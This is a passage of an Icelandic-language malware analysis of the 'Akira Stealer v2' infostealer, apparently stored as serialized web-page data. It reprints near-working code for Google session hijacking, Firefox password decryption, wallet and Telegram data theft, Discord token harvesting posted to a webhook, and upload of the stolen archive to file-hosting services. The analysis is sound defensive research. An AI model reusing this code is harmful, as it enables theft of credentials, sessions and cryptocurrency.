hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[550,7392,7393,7398,7403,7408,7413,7418,7423,7428,7433,7438,7442,7447,7452,7457,7462,7467,7471,7476,7481],{"__ignoreMap":593},[1685,7394,7395],{"class":1687,"line":1688},[1685,7396,7397],{},"# Build SAPISIDHASH header for Google services\n",[1685,7399,7400],{"class":1687,"line":2064},[1685,7401,7402],{},"origin = \"https://accounts.google.com\"\n",[1685,7404,7405],{"class":1687,"line":2070},[1685,7406,7407],{},"timestamp = int(time.time())\n",[1685,7409,7410],{"class":1687,"line":2076},[1685,7411,7412],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1685,7414,7415],{"class":1687,"line":2398},[1685,7416,7417],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1685,7419,7420],{"class":1687,"line":2404},[1685,7421,7422],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1685,7424,7425],{"class":1687,"line":3060},[1685,7426,7427],{},"headers = {\n",[1685,7429,7430],{"class":1687,"line":3855},[1685,7431,7432],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1685,7434,7435],{"class":1687,"line":3861},[1685,7436,7437],{},"    \"Content-Type\": \"application/json\"\n",[1685,7439,7440],{"class":1687,"line":4106},[1685,7441,2407],{},[1685,7443,7444],{"class":1687,"line":5023},[1685,7445,7446],{},"# Replay MultiLogin to fetch valid session cookies\n",[1685,7448,7449],{"class":1687,"line":5029},[1685,7450,7451],{},"response = requests.post(\n",[1685,7453,7454],{"class":1687,"line":5035},[1685,7455,7456],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1685,7458,7459],{"class":1687,"line":5041},[1685,7460,7461],{},"    headers=headers,\n",[1685,7463,7464],{"class":1687,"line":5047},[1685,7465,7466],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1685,7468,7469],{"class":1687,"line":5053},[1685,7470,5242],{},[1685,7472,7473],{"class":1687,"line":5059},[1685,7474,7475],{},"if response.status_code == 200:\n",[1685,7477,7478],{"class":1687,"line":5065},[1685,7479,7480],{},"    # Victim’s cookies now present in response.cookies\n",[1685,7482,7483],{"class":1687,"line":5071},[1685,7484,7485],{},"    hijacked_cookies = response.cookies\n",[532,7487,7488],{},"Með því að endurspila þessa beiðni getur Akira þykjast vera notandinn í Gmail, Drive eða hverri annarri Google-þjónustu sem varin er af gildri setu, án þess að þurfa nokkur credentials. Þessi tækni nýtir rökvísi Google sjálfs um viðurkenningu tokens, sem gerir hana nánast ógreinanlega frá hegðun lögmæts klients.",[713,7490,7492],{"id":7491},"_77-afkóðun-firefox","7.7 Afkóðun Firefox",[532,7494,719],{},[532,7496,7497,7498,7501],{},"Gecko‑byggðir browsers eins og Firefox dulkóða vistuð credentials og cookies með meginlykli sem geymdur er í ",[550,7499,7500],{},"key4.db",". Akira hefur einfaldaða afkóðunarrútínu sem speglar NSS-rökvísi Mozilla og tekur á bæði 3DES- og AES‑CBC-afbrigðum án þess að kveikja á kvaðningu um meginlykilorð. Dæmi um notkun:",[587,7503,7505],{"className":4490,"code":7504,"language":4492,"meta":593,"style":593},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[550,7506,7507,7512,7517,7522,7527,7532,7536,7541,7546,7551,7556,7561,7566,7571,7576,7581,7586,7590],{"__ignoreMap":593},[1685,7508,7509],{"class":1687,"line":1688},[1685,7510,7511],{},"# Load global Salt and encrypted item from key4.db\n",[1685,7513,7514],{"class":1687,"line":2064},[1685,7515,7516],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1685,7518,7519],{"class":1687,"line":2070},[1685,7520,7521],{},"cursor = db.cursor()\n",[1685,7523,7524],{"class":1687,"line":2076},[1685,7525,7526],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1685,7528,7529],{"class":1687,"line":2398},[1685,7530,7531],{},"global_salt, item2 = cursor.fetchone()\n",[1685,7533,7534],{"class":1687,"line":2404},[1685,7535,3852],{"emptyLinePlaceholder":325},[1685,7537,7538],{"class":1687,"line":3060},[1685,7539,7540],{},"# Decode DER structure and derive key\n",[1685,7542,7543],{"class":1687,"line":3855},[1685,7544,7545],{},"decoded, _ = der_decode(item2)\n",[1685,7547,7548],{"class":1687,"line":3861},[1685,7549,7550],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1685,7552,7553],{"class":1687,"line":4106},[1685,7554,7555],{},"cipher_text = decoded[1].asOctets()\n",[1685,7557,7558],{"class":1687,"line":5023},[1685,7559,7560],{},"# Derive 3DES key\n",[1685,7562,7563],{"class":1687,"line":5029},[1685,7564,7565],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1685,7567,7568],{"class":1687,"line":5035},[1685,7569,7570],{},"iv = decoded[0][1][1].asOctets()\n",[1685,7572,7573],{"class":1687,"line":5041},[1685,7574,7575],{},"# Decrypt credentials\n",[1685,7577,7578],{"class":1687,"line":5047},[1685,7579,7580],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1685,7582,7583],{"class":1687,"line":5053},[1685,7584,7585],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1685,7587,7588],{"class":1687,"line":5059},[1685,7589,3852],{"emptyLinePlaceholder":325},[1685,7591,7592],{"class":1687,"line":5065},[1685,7593,7594],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[532,7596,7597,7598,619,7600,557,7602,7604],{},"Með þessari rútínu getur Akira dumpað ",[550,7599,6996],{},[550,7601,6999],{},[550,7603,7002],{}," fyrir hvern Firefox-prófíl með gagnsæjum hætti og skrifað afkóðaða úttakið í:",[587,7606,7609],{"className":7607,"code":7608,"language":592},[590],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[550,7610,7608],{"__ignoreMap":593},[532,7612,7613],{},"Þessi aðferð fer fram hjá athugunum á meginlykilorði á notandastigi og gefur stealernum óhindraðan aðgang að öllum vistuðum credentials.*",[532,7615,7616],{},[539,7617,7618],{},"4. Skráauppbygging og nafngiftir",[587,7620,7623],{"className":7621,"code":7622,"language":592,"meta":593},[590],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[550,7624,7622],{"__ignoreMap":593},[603,7626,7627,7641,7647],{},[606,7628,7629,7630,7633,7634,7637,7638,2046],{},"Hver ",[550,7631,7632],{},".txt","-skrá byrjar á samræmdum haus (",[550,7635,7636],{},"\u003C================[Akira Stealer v2]>================>",") og skiljulínu (",[550,7639,7640],{},"====…====",[606,7642,7643,7644,585],{},"ZIP á diski: ",[550,7645,7646],{},"%TEMP%\\\u003CComputerName>.zip",[606,7648,7649,7650,585],{},"Skráarheiti hjá C&C: ",[550,7651,7652],{},"Akira-\u003Cusername>.zip",[532,7654,7655],{},[539,7656,7657],{},"5. Exfiltration og tiltekt",[587,7659,7661],{"className":4490,"code":7660,"language":4492,"meta":593,"style":593},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[550,7662,7663,7668,7673,7678,7683],{"__ignoreMap":593},[1685,7664,7665],{"class":1687,"line":1688},[1685,7666,7667],{},"url = Webhook.uploadToGofile(zip_path)\n",[1685,7669,7670],{"class":1687,"line":2064},[1685,7671,7672],{},"if not url:\n",[1685,7674,7675],{"class":1687,"line":2070},[1685,7676,7677],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1685,7679,7680],{"class":1687,"line":2076},[1685,7681,7682],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1685,7684,7685],{"class":1687,"line":2398},[1685,7686,7687],{},"Utils.clear_client_folder()\n",[603,7689,7690,7700,7714,7731],{},[606,7691,7692,7695,7696,7699],{},[539,7693,7694],{},"Aðalrás (GoFile.io):"," malware-ið reynir fyrst að hlaða ZIP-safnskránni með öllum stolnum artifacts upp á GoFile.io og les úr JSON-svarinu ",[550,7697,7698],{},"downloadPage","-URL sem gefur árásaraðilanum beinan aðgang að safnskránni.",[606,7701,7702,7705,7706,7709,7710,7713],{},[539,7703,7704],{},"Sjálfvirkar varaleiðir:"," bregðist GoFile-endapunkturinn (tímamörk á neti, hraðamörk og fleira) fellur kóðinn snurðulaust yfir á ",[550,7707,7708],{},"file.io",", og skili það líka tómum hlekk þá loks á ",[550,7711,7712],{},"oshi.at",". Bæði afbrigðin eru kölluð án þess að undantekningar séu kastaðar, sem tryggir að ein af þessum þrem þjónustum verður alltaf reynd í röð.",[606,7715,7716,7719,7720,7723,7724,619,7727,7730],{},[539,7717,7718],{},"Webhook-tilkynningar:"," þegar URL (eða tómur strengur ef allt bregst) hefur verið ákvarðað er kallað á ",[550,7721,7722],{},"Webhook.sendDataTG(...)",", sem pakkar niðurhalshlekknum, auðkennum vélarinnar (",[550,7725,7726],{},"chatId",[550,7728,7729],{},"startup","-flagg) og öllum flokkatölum (lykilorðum, cookies, sjálfvirkum útfyllingum, veskjum) saman í eitt Discord- eða Telegram-skeyti.",[606,7732,7733,7736,7737,7740],{},[539,7734,7735],{},"Tafarlaus tiltekt:"," eftir tilkynninguna eyðir ",[550,7738,7739],{},"Utils.clear_client_folder()"," endurkvæmt öllu tímabundna vinnusvæðinu og ZIP-skránni sjálfri, og skilur engin spor eftir á diski um söfnuðu gögnin eða safnskrána.",[820,7742,7743,7748],{},[532,7744,7745],{},[539,7746,7747],{},"Þol gegn bilunum:",[603,7749,7750,7757],{},[606,7751,7752,7753,7756],{},"Allar upphalsrútínur skila ",[550,7754,7755],{},"\"\""," þegar þær bregðast í stað þess að kasta, sem tryggir að kóðaflæðið haldi áfram.",[606,7758,7759],{},"Jafnvel þótt engin þjónusta sé aðgengileg sendir malware-ið samt webhook-skýrslu (þótt hlekkinn vanti) áður en það eyðir staðbundnum artifacts, sem lágmarkar forensic-leifar nema ferlið hrynji óvænt.",[826,7761],{"className":7762},[829,830],[532,7764,7765],{},[539,7766,7767],{},"6. Þol og meðhöndlun villna",[603,7769,7770,7788,7794,7803],{},[606,7771,7772,7775,7776,7779,7780,7783,7784,7787],{},[539,7773,7774],{},"Fínkornótt meðhöndlun undantekninga:"," hver samskipti við skráakerfið, hvort sem það er ",[550,7777,7778],{},"shutil.copy",", SQLite-fyrirspurnir eða ZIP-aðgerðir, er pakkað í ",[550,7781,7782],{},"try/except","-blokkir. Þegar villa kemur upp (læstur gagnagrunnur, aðgangi hafnað, gölluð færsla) er undantekningin veidd og loggast með ",[550,7785,7786],{},"Akira.logErrorTg()",", og keyrslan heldur áfram, sem einangrar bilunina við þá tilteknu skrá eða einingu.",[606,7789,7790,7793],{},[539,7791,7792],{},"Þráðaeinangrun fyrir hvern browser:"," útdráttarrútínurnar fyrir hvern studdan browser keyra í sínum eigin þræði. Þessi fjölþráðahönnun tryggir að hrun eða frost í útdrætti eins browsers (t.d. skemmdur prófíll, lykill sem vantar) stöðvi eða seinki ekki greiningu annarra browsers.",[606,7795,7796,7799,7800,7802],{},[539,7797,7798],{},"Hljóðlátar varaleiðir og sjálfgefin gildi:"," margar hjálparrútínur, svo sem upphal á aðra skráahýsingu, athugun á fjartengdum tilföngum eða ræsing undirferla, notar hreiðrað ",[550,7801,7782],{}," án nokkurra viðvarana á yfirborðinu, sem hámarkar ósýnileika. Sjálfgefin gildi (tómir strengir, bólsk gildi) eru valin til að halda flæðinu órofnu og fjarlægja augljósar villustöður.",[606,7804,7805,7808,7809,7812,7813,7816],{},[539,7806,7807],{},"Mutex- og startup-verðir:"," nefndur mutex (",[550,7810,7811],{},"1qsMlseJplTlArIF14f",") hindrar mörg samtímis tilvik, en registry-athuganir og ",[550,7814,7815],{},"Utils.CreateMutex()"," verja gegn samhliða keyrslum og gefa aukinn stöðugleika í raunverulegri dreifingu.",[713,7818,7820],{"id":7819},"_78-exfiltration-veskja-og-tokens","7.8 Exfiltration veskja og tokens",[532,7822,719],{},[532,7824,7825],{},"Í þessum fasa framkvæmir Akira Stealer v2 heildstæðustu sópunina að credentials fyrir kryptógjaldmiðla og setutokens, sem nær yfir browser extensions, skjáborðsveski, skilaboðatokens og lifandi keylogging. Það keyrir í samhliða þráðum, sem tryggir að engin leið verði útundan. Hér fyrir neðan er skref-fyrir-skref djúpköfun með kóðatilvísunum.",[861,7827,7829],{"id":7828},"_781-veski-í-browser-extensions","7.8.1 Veski í browser extensions",[532,7831,867],{},[532,7833,7834,7837],{},[539,7835,7836],{},"Skotmörk:"," yfir 80 extensions þvert á vinsæla browsers, þar á meðal MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman og fleiri.",[587,7839,7841],{"className":4490,"code":7840,"language":4492,"meta":593,"style":593},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[550,7842,7843,7848,7853,7858,7863,7868,7873,7878,7883,7888,7893,7898,7903,7908,7913,7918,7923,7928,7933,7938,7943,7948,7953],{"__ignoreMap":593},[1685,7844,7845],{"class":1687,"line":1688},[1685,7846,7847],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1685,7849,7850],{"class":1687,"line":2064},[1685,7851,7852],{},"walletsExtensions = [\n",[1685,7854,7855],{"class":1687,"line":2070},[1685,7856,7857],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1685,7859,7860],{"class":1687,"line":2076},[1685,7861,7862],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1685,7864,7865],{"class":1687,"line":2398},[1685,7866,7867],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1685,7869,7870],{"class":1687,"line":2404},[1685,7871,7872],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1685,7874,7875],{"class":1687,"line":3060},[1685,7876,7877],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1685,7879,7880],{"class":1687,"line":3855},[1685,7881,7882],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1685,7884,7885],{"class":1687,"line":3861},[1685,7886,7887],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1685,7889,7890],{"class":1687,"line":4106},[1685,7891,7892],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1685,7894,7895],{"class":1687,"line":5023},[1685,7896,7897],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1685,7899,7900],{"class":1687,"line":5029},[1685,7901,7902],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1685,7904,7905],{"class":1687,"line":5035},[1685,7906,7907],{},"    # ... plus dozens more mapped in code\n",[1685,7909,7910],{"class":1687,"line":5041},[1685,7911,7912],{},"]\n",[1685,7914,7915],{"class":1687,"line":5047},[1685,7916,7917],{},"# Extraction loop for each browser profile\n",[1685,7919,7920],{"class":1687,"line":5053},[1685,7921,7922],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1685,7924,7925],{"class":1687,"line":5059},[1685,7926,7927],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1685,7929,7930],{"class":1687,"line":5065},[1685,7931,7932],{},"    for ext_name, ext_id in walletsExtensions:\n",[1685,7934,7935],{"class":1687,"line":5071},[1685,7936,7937],{},"        src = os.path.join(base, ext_id)\n",[1685,7939,7940],{"class":1687,"line":5077},[1685,7941,7942],{},"        if os.path.isdir(src):\n",[1685,7944,7945],{"class":1687,"line":5083},[1685,7946,7947],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1685,7949,7950],{"class":1687,"line":5089},[1685,7951,7952],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1685,7954,7955],{"class":1687,"line":5095},[1685,7956,7957],{},"            data.ext_wallets_count += 1\n",[603,7959,7960,7966],{},[606,7961,7962,7965],{},[539,7963,7964],{},"Skrár sem eru afritaðar",": IndexedDB, LevelDB, JSON- og uppsetningarskrár sem eru sértækar fyrir hvert extension og innihalda dulkóðaða lykla, seed-frasa og innskráningar-credentials.",[606,7967,7968,971,7971,619,7974,7977],{},[539,7969,7970],{},"Úttaksmappa",[550,7972,7973],{},"Wallets/MetaMask_Chrome/",[550,7975,7976],{},"Wallets/Phantom_Edge/"," og fleiri.",[861,7979,7981],{"id":7980},"_782-skjáborðsveskjaforrit","7.8.2 Skjáborðsveskjaforrit",[532,7983,867],{},[532,7985,7986,7988],{},[539,7987,7836],{}," helstu skjáborðsklientar eins og Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi og fleiri.",[587,7990,7992],{"className":4490,"code":7991,"language":4492,"meta":593,"style":593},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[550,7993,7994,7999,8004,8009,8014,8019,8024,8029,8033,8038,8043,8048,8053,8058],{"__ignoreMap":593},[1685,7995,7996],{"class":1687,"line":1688},[1685,7997,7998],{},"walletsDesktop = [\n",[1685,8000,8001],{"class":1687,"line":2064},[1685,8002,8003],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1685,8005,8006],{"class":1687,"line":2070},[1685,8007,8008],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1685,8010,8011],{"class":1687,"line":2076},[1685,8012,8013],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1685,8015,8016],{"class":1687,"line":2398},[1685,8017,8018],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1685,8020,8021],{"class":1687,"line":2404},[1685,8022,8023],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1685,8025,8026],{"class":1687,"line":3060},[1685,8027,8028],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1685,8030,8031],{"class":1687,"line":3855},[1685,8032,7912],{},[1685,8034,8035],{"class":1687,"line":3861},[1685,8036,8037],{},"for name, path in walletsDesktop:\n",[1685,8039,8040],{"class":1687,"line":4106},[1685,8041,8042],{},"    if os.path.isdir(path):\n",[1685,8044,8045],{"class":1687,"line":5023},[1685,8046,8047],{},"        Utils.TaskKill(name.lower())\n",[1685,8049,8050],{"class":1687,"line":5029},[1685,8051,8052],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1685,8054,8055],{"class":1687,"line":5035},[1685,8056,8057],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1685,8059,8060],{"class":1687,"line":5041},[1685,8061,8062],{},"        data.desktop_wallets_count += 1\n",[603,8064,8065,8078],{},[606,8066,8067,8070,8071,619,8074,8077],{},[539,8068,8069],{},"Gögn sem eru stolin",": keystore-skrár (",[550,8072,8073],{},"*.dat",[550,8075,8076],{},"*.json","), útflutt einkalyklar, uppsetning veskja og færsluferill.",[606,8079,8080,8083],{},[539,8081,8082],{},"Gagnsemi",": innihald veskja utan nets sem árásaraðilinn getur notað til að heimila færslur.",[861,8085,8087],{"id":8086},"_783-söfnun-discord-tokens","7.8.3 Söfnun Discord-tokens",[532,8089,867],{},[532,8091,8092],{},"Discord-tokens eru sannvottunar-artifacts, í raun langlíf bearer-tokens, sem geta veitt fullan aðgang að reikningi notanda án þess að þurfa credentials hans eða MFA. Akira nýtir þetta og skannar gagnamöppur browsers og forrita að tokens sem ýmsir Discord-klientar vista, þar á meðal Discord Stable, Canary, PTB (Public Test Build) og jafnvel breyttar afleiður eins og Lightcord.",[532,8094,8095],{},"Aðferðin beinist að LevelDB-skrám undir Local Storage forritsins, þar sem sannvottunartokens liggja oft í plaintext. Með reglulegum segðum skannar malware-ið þessar .log- og .ldb-skrár að mynstrum sem passa við venjuleg notandatokens eða tokens með MFA.",[532,8097,8098],{},"Til að auka áreiðanleika og draga úr klið hefur Akira staðfestingarskref: það sendir prófbeiðni á /users/@me-endapunkt Discord með hverju söfnuðu tokeni. Aðeins tokens sem sannvottast með árangri (HTTP 200) eru exfiltreruð með webhook, yfirleitt á Discord-rás undir stjórn árásaraðilans.",[532,8100,8101],{},"Þessi aðferð gerir árásaraðilum kleift að yfirtaka Discord-reikninga í rauntíma, þykjast vera fórnarlambið, sópa upp einkaskeytum og servera eða dreifa frekara malware með félagslegri hönnun, allt án þess að kveikja á innskráningarviðvörunum.",[587,8103,8105],{"className":4490,"code":8104,"language":4492,"meta":593,"style":593},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[550,8106,8107,8112,8117,8122,8127,8131,8136,8141,8146,8151,8156,8161,8166,8171,8176,8181,8186,8191,8196],{"__ignoreMap":593},[1685,8108,8109],{"class":1687,"line":1688},[1685,8110,8111],{},"import re, requests\n",[1685,8113,8114],{"class":1687,"line":2064},[1685,8115,8116],{},"patterns = [\n",[1685,8118,8119],{"class":1687,"line":2070},[1685,8120,8121],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1685,8123,8124],{"class":1687,"line":2076},[1685,8125,8126],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1685,8128,8129],{"class":1687,"line":2398},[1685,8130,7912],{},[1685,8132,8133],{"class":1687,"line":2404},[1685,8134,8135],{},"def harvest_discord(base, webhook_url):\n",[1685,8137,8138],{"class":1687,"line":3060},[1685,8139,8140],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1685,8142,8143],{"class":1687,"line":3855},[1685,8144,8145],{},"    for file in os.listdir(db_dir):\n",[1685,8147,8148],{"class":1687,"line":3861},[1685,8149,8150],{},"        if file.endswith(('.log', '.ldb')):\n",[1685,8152,8153],{"class":1687,"line":4106},[1685,8154,8155],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1685,8157,8158],{"class":1687,"line":5023},[1685,8159,8160],{},"                for pat in patterns:\n",[1685,8162,8163],{"class":1687,"line":5029},[1685,8164,8165],{},"                    for token in re.findall(pat, line):\n",[1685,8167,8168],{"class":1687,"line":5035},[1685,8169,8170],{},"                        # Verify token\n",[1685,8172,8173],{"class":1687,"line":5041},[1685,8174,8175],{},"                        h = {\"Authorization\": token}\n",[1685,8177,8178],{"class":1687,"line":5047},[1685,8179,8180],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1685,8182,8183],{"class":1687,"line":5053},[1685,8184,8185],{},"                        if r.status_code == 200:\n",[1685,8187,8188],{"class":1687,"line":5059},[1685,8189,8190],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1685,8192,8193],{"class":1687,"line":5065},[1685,8194,8195],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1685,8197,8198],{"class":1687,"line":5071},[1685,8199,8200],{},"                            requests.post(webhook_url, json=payload)\n",[603,8202,8203],{},[606,8204,8205,8208],{},[539,8206,8207],{},"Staðfesting",": birtir aðeins gild tokens, sem hindrar að útrunnin JWT séu send.",[861,8210,8212],{"id":8211},"_784-setuskrár-telegram","7.8.4 Setuskrár Telegram",[532,8214,867],{},[532,8216,8217,8219],{},[539,8218,7836],{}," Telegram Desktop/TData",[587,8221,8223],{"className":4490,"code":8222,"language":4492,"meta":593,"style":593},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[550,8224,8225,8230,8235,8240,8245,8250],{"__ignoreMap":593},[1685,8226,8227],{"class":1687,"line":1688},[1685,8228,8229],{},"def steal_telegram(tdata_path, dest_root):\n",[1685,8231,8232],{"class":1687,"line":2064},[1685,8233,8234],{},"    if os.path.exists(tdata_path):\n",[1685,8236,8237],{"class":1687,"line":2070},[1685,8238,8239],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1685,8241,8242],{"class":1687,"line":2076},[1685,8243,8244],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1685,8246,8247],{"class":1687,"line":2398},[1685,8248,8249],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1685,8251,8252],{"class":1687,"line":2404},[1685,8253,8254],{},"        data.has_telegram = True\n",[603,8256,8257,8270],{},[606,8258,8259,971,8262,8265,8266,8269],{},[539,8260,8261],{},"Skrár",[550,8263,8264],{},"tdata","-mappa sem 